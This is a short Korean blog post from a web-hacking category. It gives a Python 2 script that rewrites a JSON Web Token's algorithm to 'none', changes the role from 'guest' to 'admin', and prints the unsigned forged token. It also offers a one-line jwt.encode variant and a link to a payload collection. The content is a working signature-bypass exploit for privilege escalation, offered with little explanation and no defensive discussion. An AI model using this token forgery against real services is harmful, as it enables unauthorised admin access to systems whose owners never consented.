반응형

아래는 JWT 에서 algorithm을 none으로 수정하는 코드이다.

자세한 코드에 대한 설명은 생략한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
# -*- coding: utf-8 -*-
 
jwt = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.4kBPNf7Y6BrtP-Y3A-vQXPY9jAh_d0E6L4IUjL65CvmEjgdTZyr2ag-TM-glH6EYKGgO3dBYbhblaPQsbeClcw"
header, payload, signature  = jwt.split('.')
 
print("header decode : "+header.decode('base64'))
print("payload decode : "+(payload+"==").decode('base64')+'\n')
 
# Replacing the ALGO and the payload username
header  = header.decode('base64').replace('HS512',"none")
payload = (payload+"==").decode('base64').replace('guest','admin')
 
header  = header.encode('base64').strip().replace("=","")
payload = payload.encode('base64').strip().replace("=","")
 
# 'The algorithm 'none' is not supported'
print( header+"."+payload+".")
 
cs



 - jwt 모듈이 있다면 간단하게 jwt.encode(payload,key,algorithm)으로 할 수 있다.

 ex) jwt.encode({'user':'rootable','role':'admin'},'',algorithm="none")


참고) https://github.com/sobinge/PayloadsAllThesobinge/tree/master/JSON%20Web%20Token

반응형

'Hacking > Web' 카테고리의 다른 글

0.0.0.0 의 의미  (0) 2019.11.20
Mysql Special Comment  (0) 2019.11.20
Webtob + Jeus 설정파일 리스트  (0) 2019.11.01
Subquery를 이용한 Error based Injection  (0) 2019.10.10
웹서버 루트디렉토리 경로 찾기  (0) 2019.09.27
블로그 이미지

rootable

,